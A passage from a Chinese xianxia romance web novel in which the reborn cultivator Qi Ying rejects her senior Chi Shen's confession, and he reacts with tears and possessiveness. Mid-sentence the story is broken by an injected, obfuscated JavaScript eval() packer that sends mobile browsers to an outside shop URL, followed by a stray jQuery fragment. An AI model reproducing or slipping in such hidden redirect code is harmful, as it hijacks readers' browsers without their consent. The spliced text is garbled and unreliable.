夜风轻拂,撩起祁樱头上的淡粉发带,两人之间的距离很近,发带也随之飘落在迟深的脸庞上,他没有躲,任由着它打在他的脸上,偏那发带没停留多久,又往后边飘去,全然像抓不住的丝线。
祁樱没回头看,还悄悄地自己下了道静心咒,那个小女孩便随着消失,她有意无意地问道:“师兄,查出瘟疫的病源了吗?”
“嗯。”
“师妹想知道吗?”
祁樱摇头,撇了撇嘴:“不想,我问了你也不一定说的,毕竟这可是戒律司内务。”
说得有些阴阳怪气,又有些义正严辞。
迟深剑眉微扬,整个眼眸就像初春的融雪,看着她道:“师妹聪明伶俐,若真想知道,根本不需要问我。”
祁樱哑然,眸光闪过一丝惊讶,又接着道:“师兄,你最近和平常很不一样。”
她说到这时,停下了脚步,就连那只一直牵着他衣袖的手也不动声色地收了回去。
眼下,两人已经走到山脚之下,远处的屋房星星点点地亮着灯,还有一两个巡逻的弟子路过。
祁樱望着他,眼色幽幽,心底一抽一抽地开始疼。
“哪里不一样?”
迟深眼睫微颤,眼眸之中的赤湖泛起一丝淡淡的涟漪,认真问道。
祁樱咬唇,沉默片刻之后,目光迥然地看着他:“迟深,你是不是喜欢上我了?”
其实她今晚答应同他出来,就是为了这一件事。
虽然她早就知道迟深会喜欢上她,不过前尘不同今日,她以前想和他在一起,如今却只想把他推开。
毕竟,上岸第一剑,当斩心上人。
她不能有软肋,也不想拖累别人。
迟深的神色显然顿了一下,雪白的脖颈忽然染上一层红晕,就连耳根子都不动声色地烧了起来。
空气好像有一瞬间凝结成冰。
迟深喉结滚动,乌睫不自然颤了颤,眸光像醉花酒那样被人轻易搅合成了一团乱色,羞涩又有些魅人。
情爱一事,祁樱一直认为,迟深总是很难开窍,他懂得一些,但也只知道一些,更多的时候,还是需要身边有个人去教。
他与她相比起来,更为内敛,也更为收束。就像是开于山雪峭壁的莲雪花,若是他喜欢,他绝不伸手去摘,只会等着它慢慢盛开,一直到它掉落一瓣花落,他才敢拾起来,珍贵地将它收入怀中。
祁樱前世意识到自己喜欢上他的那一刻,一直等着他跟自己表白。
虽然那时候她并不确认迟深喜不喜欢自己,但是她知道,迟深并不讨厌自己。
祁樱她向来明媚自信,自小就被不少同门倾慕仰佩,更何况身姿不凡,相貌迤逦,修为和道术在同辈之中,也堪称一绝。
外加上,两人自小一起长大的情分,迟深若是一点也不喜欢她,那才叫不合情理。
毕竟日久可以生情,相看两厌之人也可以做到相看两悦。
拿下迟深那肯定是迟早的事。
最重要的是,她感受得出来迟深对她是非同一般的。
前世的祁樱这般想着,这一等就是等到了好几载,一直到她十八岁的某日落难,迟深从魔域赶回来看望她,祁樱情难自抑,强行撬开了他的唇,两人就这样结为了道侣。
后来,迟深还说,他爱得更深。
再后来……
祁樱敛起眼,努力让自己看上去更严肃漠然些,眼前的迟深的面色渐红,神情没有多诧异与紧张,反倒多了些平静与淡然,偏偏眼底的盈盈水光却怎么都藏不住,简直和前世被她强吻那般动人魅惑。
他这一回,没有让她等很久,唇角微微扬起,又像是不会笑,扬起的弧度低低的,声音温柔又动听:
“你看出来了吗?”
迟深很少笑,偏偏生的是一对桃花眼,再怎么笑都是极其好看的,祁樱劝他多笑笑,他之前只会嘴硬地说自己不会笑。
顷刻之间,祁樱的眼睫微微颤了颤,连同着深埋在心底的情愫也跟着他这一笑生出枝丫,夜色漆黑,月光黯淡,就连灯火都如此渺茫,面前的人却笑得那样柔美,连同他凌冽骇人的赤红瞳色也在这瞬然之间降了好几个度,变成柔和又温暖的一缕火光。
他说完那句话,俨然有些害羞,俨然还是有些害羞,眼眶中的眸水荡了好一会,连带着那缕火光也欲色渐浓。
他的眼神在闪烁、躲闪,心底有些欣喜又害怕。
祁樱咬紧唇,忽然有些于心不忍。
十八岁的他,与二十一岁的他,颇为相似又有些许不同。
眼下的他,就像高山之上刚生出的雪莲,含苞欲放,冰清玉洁。
祁樱甚至从他的眼底,窥见出一丝纯粹。
这回,轮到她默然许久。
她的脑海里飘过许多画面,好的坏的、甜的酸的、苦的痛的。
最后一幕,是她死在灵虚殿外,迟深抱着她尸体痛哭的样子。
记忆之间,忽然插上一缕暗线,祁樱窥见其实在此之前,迟深为了她堕入邪道,只身一人杀了斐云山满门,把祁之夷的尸骨捧回来作为她的祭品。
仙魔又陷入无尽恶战之中,四海八荒之间,兵乱年荒,民不聊生,哀鸿遍野。
祁樱倏然后退一步。
彼时之间,月亮被乌云笼罩过去,远处的灯火又熄了几盏。
祁樱发带轻荡,珠玉脆响,玉白的面庞却毫无波澜,就连眼眸之中的光亮也彻底暗了下去。
她说:“迟深,别喜欢我了,我不值得的。”
若是换做旁人,祁樱指定不这样说的,她向来趾高气傲,眼里容不得别人说她一点不好,更别提值不值得。
她祁樱,最是值得,最是配得上极好。
可是迟深不一样,迟深是她喜欢的人,那他就是极好的人,那他就是最好的人。
那她就不值得了。
不值得他迟深为她堕为邪神,不值得的他千百年在还魂崖里苦苦寻觅等候,不值得他最后弑杀各界,成了千百年的罪人。
最不值得的,就是为她死。
因为她而死。
爱若是让他变成这般模样,那她真的不值得了。
祁樱望着他,望见那双深不见底的眼眸的光亮逐渐变得很淡,就连她微小的倒影也像一叶扁舟一般在大海里摇摆不定,迟深的眼睛那么漂亮,整个面庞那么绝世无双,却在顷刻之间,润湿出一滴又一滴泪来。
祁樱俨然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085266|141706||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一怔,问道:“你哭什么啊?”
她知道他会难过,却从未想过他竟在自己面前哭了出来。
迟深的泪水像是不要钱,一滴又一滴地淌过他的脸,那泪珠还会变色:先是水白色,又变成同他瞳色一样的血红,他显然是心痛如绞,颤着声回答道:“祁樱,你好狠心。”
“我连喜欢你的权利都没有吗?”
他说得嘶哑又低沉,每个字从他嘴里蹦出来就像在火炉里滚了一圈又掉入凄寒彻骨的冰窟之中,让人听着有些害怕,偏偏他脸上又那么多泪,眼眸又那么委屈,宛若原本就应该给他的那份饴糖被人无情地夺了回去。
祁樱抿紧唇,指尖稍稍用力,掐进手心里的痛感使她幡然醒悟,她正欲反驳,想不到迟深见她不出口,反倒变本加厉道:
“是因为那只龙吗?师妹,你喜欢上了那只龙?”
迟深忽然如失了控一般,眼眸里的光亮不再,甚至极致幽深黑红,看得祁樱后背一寒,忍不住又往后退了一步。
迟深他……好疯。
后脚刚一落地,迟深却抓住了她的手腕,力气那般大,惹得祁樱下意识地扇了他一巴掌。
“迟深!”
一声脆响过去,迟深倏然那只灼人的手,他稍稍收回神,眼眶之中的泪水仍如潮水暗涌,眸光却微微凉了起来,道:
“对不起。”
祁樱颓然松了口气,想到他如今兴许是被情咒所控,不禁有些愧疚。
算了。
祁樱上前一步,从衣袖里取出一张手帕替他擦去他面庞上的泪痕,语气稍微缓和道:“师兄,我没有说不让你喜欢我。”
她先回答了这个问题,旋即又道:
“只不过,我日后是要修无情道的,你喜欢我也没用。”
微风又不经意地拂过,撩起迟深额前的碎发,那几缕冰凉青丝便顺着风向稍稍拂过祁樱的指节,祁樱欲想将手收回去,却猛然被他抓住,旋即,她听见他说:
“那师妹能否试着喜欢我?”
“改变这一修法?”
声音轻轻妙妙,仿佛方才的失控就像是被人夺舍了一样。
简直就是一个……魅魔。
祁樱愣住片刻,忽然觉得自己还是小看了面前的这位人。
迟深他也有阴暗的,自私又卑劣的一面。
又或许说,他一直以来都是这样,只不过,在此之前,故意装作冷漠又偶尔温和而已。
想到这,祁樱忽然抬起头来望着他,窥见那双灼人眼眸之处,暗藏的微弱光亮。
那是什么呢?是十几年来的隐忍?又或是面具之下的欲念?
祁樱不想再想下去,开口道:“松手。”
迟深迟缓一步,祁樱便猛然使出一股灵力,倏然将他的手卸了下去。
祁樱咬紧唇,雄厚的灵力一点都不输于他,只不过她怜惜这双因她而受伤的手,所以没使多大的劲,认真看着他道:“师兄,感情不可强求,你若是想让我喜欢上你,定然是要付出些代价的。”
迟深吭声,一字一句道:“若是能让师妹喜欢上我,什么代价我都愿意付出。”
“……”
祁樱忽然握紧拳,头也不回地走了。